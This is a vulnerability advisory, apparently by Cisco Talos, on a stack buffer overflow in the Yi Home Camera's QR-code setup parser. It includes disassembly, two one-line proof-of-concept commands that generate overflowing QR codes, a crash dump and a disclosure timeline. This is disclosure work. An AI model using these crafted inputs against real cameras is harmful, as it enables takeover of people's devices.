CVE-2018-3898, CVE-2018-3899
An exploitable code execution vulnerability exists in the QR code scanning functionality of Yi Home Camera 27US 1.8.7.0D. A specially crafted QR Code can cause a buffer overflow, resulting in code execution. An attacker can make the camera scan a QR code to trigger this vulnerability. Alternatively, a user could be convinced to display a QR code from the internet to their camera, which could exploit this vulnerability.
Yi Technology Home Camera 27US 1.8.7.0D
8.3 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
CWE-121: Stack-based Buffer Overflow
Yi Home Camera is an IoT home camera sold globally. The 27US version is one of the newer models sold in the U.S., and is the most basic model out of the Yi Technology camera lineup. It still, however, includes all the functionality that one would expect from an IoT device: the ability to view the camera from anywhere, offline and subscription-based cloud storage, and ease of setup.
During the network configuration stage of the setup, the Yi camera prompts the user to show it a QR code that is generated by the app running on the user’s phone. The user types in the SSID and password of the network that they wish for the camera to connect to, and then the app communicates to https://api.us.xiaoyi.com
, asking for a bindkey
, which is used for identification of the device on the server side.
GET /v2/qrcode/get_bindkey?hmac=<redact> %3D&userid=00110011&seq=1×tamp=1522268058227 HTTP/1.1
Content-Length: 0
Host: api.us.xiaoyi.com
Connection: Keep-Alive
User-Agent: YI Home/2.20.20.0_20180227 (Alcatel_4060A; Android 10.2; en-US)
Accept-Encoding: gzip
x-xiaoyi-appVersion: android;73;2.20.20.0_20180227
After the response has been received, the phone will generate a QR code that contains the following data: b=USmtPf6GnLZYDuR9&s=PCheX14pPg==&p=AbCD123465
. Where by the b
field is the bindkey
found in the https response, s
is the base64 encoded SSID of the network, and p
is the the base64 encoded password that has been encoded against a static string. After this QR code has been generated, the user shows this to the camera, which will then scan it using the underlying ZBAR QR Code scanning library (https://github.com/Zbar/Zbar)[https://github.com/Zbar/Zbar]. After the string has been read in by the camera, it is parsed by the following code:
MOV R2, R7 //[1]
LDR R1, =aP ; "&p="
ADD R0, SP, #0x1A8+password_dst
BL trans_info ; (output,needle,haystack) //[2]
MOV R2, R7
LDR R1, =aS ; "&s="
ADD R0, SP, #0x1A8+ssid_dst
BL trans_info ; (output,needle,haystack) //[2]
MOV R2, R7
LDR R1, =aB ; "b="
ADD R0, SP, #0x1A8+bindkey_dst
BL trans_info ; (output,needle,haystack) //[2]
For some reason, it uses a modified JSON parsing function [2] to grab the values of each of these keys, looking inside the string scanned by the QR code stored in R7 [1]. The results of each of these scans are stored on addresses on the stack (*_dst), which looks like:
qrcode_scan
zbar_get_name= -0x1A8
[…]
bindkey_dst= -0x188
decoded_ssid= -0x168
decrypted_key= -0x128
ssid_dst= -0xE8
password_dst= -0xA8
decoded_password= -0x68
Looking inside the trans_info(char *output, char *needle, char *haystack)
function we can see a few key operations:
MOV R0, R4 ; haystack
MOV R1, R5 ; needle
BL strstr
SUBS R7, R0, #0
First, it finds the location of the needle in the haystack via strstr
, and then further down, skips over the first 11 single quotes, double quotes and colons that it finds. After this, the main vulnerability can be found:
MOV R0, R5
BL strlen //[1]
LDR R1, =asc_130B50 ; "%[^\"',};&]" //[2]
MOV R2, R8 //[3]
ADD R0, R6, R0 //[4]
ADD R0, R7, R0 ; s //[5]
BL sscanf
It adds the length of the needle [1] to the return value of the strstr
call [4] and the amount of quotes, single quotes and colons that it found (max of 11), such that it can find the value of the parameter passed as the needle. For instance, if a needle is &p=
, then R0 would point to the space immediately proceeding the equals sign. Then it writes result string into the output
address stored in R8 [4] using sscanf
(which is not length limited), and the format string seen at [2] (which copies over all non-[“’,};&]
characters).
Remembering that the output variable is an address located on the stack of the calling function, and that the stack looks like the following:
[…]
ssid_dest = -0xE8
password_dst= -0xA8
decoded_password= -0x68
(return_address)
(old_stack_base)
It becomes apparent that the only thing stopping a buffer overflow is the max read length that the Zbar QR code object can handle, which from heuristic testing seems to be 263 (0x107) characters, which is more than enough for a buffer overflow in either the SSID_dst or the password_dst to overwrite the return address on the stack. Below are the proof of concepts that generate QR codes that demonstrate the two vulnerabilities.
The trans_info
call can overwrite a buffer of size 0x104, which is more than enough to overflow the return address from the ssid_dst
field at $bp-0xE8:
python -c ‘print “&s=” + “A”*0x104’ | qr > qrcode.png
The trans_info
call can overwrite a buffer of size 0x104, which is more than enough to overflow the return address from the password_dst
field at $bp-0xA8:
python -c ‘print “&p=” + “A”*0x104’ | qr > qrcode.png
Naturally, this payload does not get triggered until the function actually returns, which actually only occurs once a valid code has been scanned. Thus, if a malicious code is scanned before the owner scans their own QR code for their network credentials, the payload will be triggered immediately when a network connection is gained, so it should be cautioned that users should not scan QR codes found on the internet.
OhThread 1 “rmm” received signal SIGSEGV, Segmentation fault. 0x41414140 in ?? () (gdb) info reg r0 0x0 0 r1 0x0 0 r2 0x106d75cc 275609036 r3 0x106d75cc 275609036 r4 0x41414141 1094795585 r5 0x41414141 1094795585 r6 0x41414141 1094795585 r7 0x41414141 1094795585 r8 0x41414141 1094795585 r9 0x41414141 1094795585 r10 0x41414141 1094795585 r11 0x41414141 1094795585 r12 0xb6eee210 3069108752 sp 0xbea11ae8 0xbea11ae8 lr 0xb6ea13a0 3068793760 pc 0x41414140 0x41414140 cpsr 0x68000030 1744830512 (gdb) bt #0 0x41414140 in ?? () #1 0xb6ea13a0 in ?? () from /lib/libc.so.0 #2 0x41414140 in ?? () Backtrace stopped: previous frame identical to this frame (corrupt stack?)
2018-05-01 - Vendor disclosure
2018-09-03 - Vendor submitted build to Talos for testing
2018-09-05 - Talos confirmed issue patched
2018-10-22 - Vendor released new firmware
2018-10-31 - Public release
Discovered by Lilith (/^o^)/ of Cisco Talos.